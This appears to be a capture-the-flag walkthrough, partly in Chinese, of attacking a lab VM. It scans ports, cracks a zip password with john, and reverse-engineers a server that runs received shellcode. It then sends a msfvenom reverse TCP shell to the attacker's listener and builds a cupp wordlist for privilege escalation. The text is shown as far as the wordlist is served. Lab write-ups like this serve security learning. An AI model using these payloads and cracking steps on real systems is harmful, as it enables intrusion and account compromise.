❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e3:f6:57 VMware, Inc. 192.168.60.227 08:00:27:a1:cf:6f PCS Systemtechnik GmbH 192.168.60.254 00:50:56:e1:d8:58 VMware, Inc.
11 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.103 seconds (121.73 hosts/sec). 4 responded ❯ export ip=192.168.60.227 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- TreadStone was here 🚀 [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.227:22 Open 192.168.60.227:80 Open 192.168.60.227:6666 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-04 17:44 CST Initiating ARP Ping Scan at 17:44 Scanning 192.168.60.227 [1 port] Completed ARP Ping Scan at 17:44, 0.07s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 17:44 Completed Parallel DNS resolution of 1 host. at 17:44, 0.00s elapsed DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 17:44 Scanning 192.168.60.227 [3 ports] Discovered open port 80/tcp on 192.168.60.227 Discovered open port 22/tcp on 192.168.60.227 Discovered open port 6666/tcp on 192.168.60.227 Completed SYN Stealth Scan at 17:44, 0.05s elapsed (3 total ports) Nmap scan report for 192.168.60.227 Host is up, received arp-response (0.00044s latency). Scanned at 2025-03-04 17:44:51 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 6666/tcp open irc syn-ack ttl 64 MAC Address: 08:00:27:A1:CF:6F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
❯ curl $ip/mysecret.txt Go to the most evil port. You will get what you want. Please be gentle with him, maybe he will be afraid. In order to obtain its source code. Perhaps you will need the dictionary below.
❯ zip2john ll104567.zip >hash ver 2.0 efh 5455 efh 7875 ll104567.zip/opt/server PKZIP Encr: TS_chk, cmplen=739398, decmplen=2120576, crc=1B8B19DF ts=4118 cs=4118 type=8 ❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status oooooo (ll104567.zip/opt/server) 1g 0:00:00:00 DONE (2025-03-04 18:19) 25.00g/s 204800p/s 204800c/s 204800C/s 123456..whitetiger Use the "--show" option to display all of the cracked passwords reliably Session completed. ❯ x ll104567.zip extract: extracting to ll104567 Archive: /home/Pepster/hmv/ll104567.zip [/home/Pepster/hmv/ll104567.zip] opt/server password: inflating: opt/server ❯ tree opt opt └── server
1 directory, 1 file
解压后拿到server文件，还是个可执行文件
1 2 3 4 5 6 7 8
❯ cd opt ❯ ls -al total 2080 drwxr-xr-x 2 Pepster Pepster 4096 Mar 4 18:20 . drwxr-xr-x 10 Pepster Pepster 4096 Mar 4 18:20 .. -rwxr-xr-x 1 Pepster Pepster 2120576 Feb 24 21:08 server ❯ file server server: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=db87ec3af59f50fcd961031784692ff086072fd2, not stripped
Server 程序逆向
利用IDA打开逆向一下
虽然我不会这个，没事，现学就完了
发现是端口6666运行程序，逆向生成伪C代码
直接丢给GPT，解释下
主要功能如下
创建一个套接字并绑定到端口 6666。
监听该端口的传入连接。
接受传入连接后，读取数据，并检查数据是否包含禁止字节。
如果数据包含禁止字节，打印警告信息并关闭连接。
如果数据不包含禁止字节，将数据映射到内存并执行。
处理过程中出现的错误并打印相应错误信息。
我有幸玩了一下提前版的靶机，在初版的交互下，会具体显示某个禁止字节
比如我随便输入在第二位填一个空格，就会提示检测到0x20(space)
所以我们只需要生成shellcode并过滤被禁止的字符
但在正式版的靶机中作者可能考虑到了这一点，删除了相关代码
所以我们就需要跟踪forbidden_bytes
关注db后的十六进制
根据.rodata段提供的信息可以提取出部分禁止的字节
0x00 (NULL) 0x20(space)0x0F0xCD
生成Shellcode
利用msfvenom生成一个反弹shell的shellcode
添加-b参数排除禁止的字节
1 2 3 4 5 6 7 8
❯ msfvenom -p linux/x64/shell_reverse_tcp Lhost=192.168.60.100 Lprot=4444 -b '\x00\x20\x0f\xcd' -f raw > tmp [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload Found 3 compatible encoders Attempting to encode payload with 1 iterations of x64/xor x64/xor succeeded with size 119 (iteration=0) x64/xor chosen with final size 119 Payload size: 119 bytes
❯ cat tmp|nc $ip 6666 ------------------------------ ❯ pwncat-cs -lp 4444 [20:03:10] Welcome to pwncat 🐈! __main__.py:164 [20:06:12] received connection from 192.168.60.227:50488 bind.py:84 [20:06:13] 0.0.0.0:4444: upgrading from /usr/bin/dash to manager.py:957 /usr/bin/bash [20:06:14] 192.168.60.227:50488: registered new host w/ db manager.py:957 (local) pwncat$ (remote) lamb@pwnding:/home/lamb$ ls -al total 28 drwxr-xr-x 2 lamb lamb 4096 Feb 24 07:52 . drwxr-xr-x 3 root root 4096 Feb 19 20:34 .. lrwxrwxrwx 1 lamb lamb 9 Feb 19 09:27 .bash_history -> /dev/null -rw-r--r-- 1 lamb lamb 220 Feb 19 09:23 .bash_logout -rw-r--r-- 1 lamb lamb 3526 Feb 19 09:23 .bashrc -rw-r--r-- 1 lamb lamb 807 Feb 19 09:23 .profile -rw------- 1 lamb lamb 0 Feb 20 03:18 .viminfo -rw-r--r-- 1 root root 528 Feb 24 07:52 this_is_a_tips.txt -rw-r--r-- 1 lamb lamb 39 Feb 24 07:52 use3e3e3e3e3sr.txt (remote) lamb@pwnding:/home/lamb$ cat use3e3e3e3e3sr.txt flag{3a463d08f2ae11efbeb6000c29094b2d}
(remote) lamb@pwnding:/home/lamb$ cat this_is_a_tips.txt There is a fun tool called cupp. I heard it's a good social engineering dictionary generator. Are there really people that stupid these days? haha. There is only one way to become ROOT, which is to execute getroot!!! And don't forget, this is a PWN type machine.
[+] Insert the information about the victim to make a dictionary [+] If you don't know all the info, just hit enter when asked! ;) > First Name: David > Surname: > Nickname: > Birthdate (DDMMYYYY): > Partners) name: > Partners) nickname: > Partners) birthdate (DDMMYYYY): > Child's name: Jake > Child's nickname: > Child's birthdate (DDMMYYYY):
> Pet's name: > Company name: > Do you want to add some key words about the victim? Y/[N]: > Do you want to add special chars at the end of words? Y/[N]: > Do you want to add some random numbers at the end of words? Y/[N]: > Leet mode? (i.e. leet = 1337) Y/[N]: [+] Now making a dictionary... [+] Sorting list and removing duplicates... [+] Saving dictionary to david.txt, counting 500 words. > Hyperspeed Print? (Y/n) : [+] Now load your pistolero with david.txt and shoot! Good luck! ❯ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 192.168.60.227 - - [04/Mar/2025 22:39:54] "GET /david.txt HTTP/1.1" 200 -
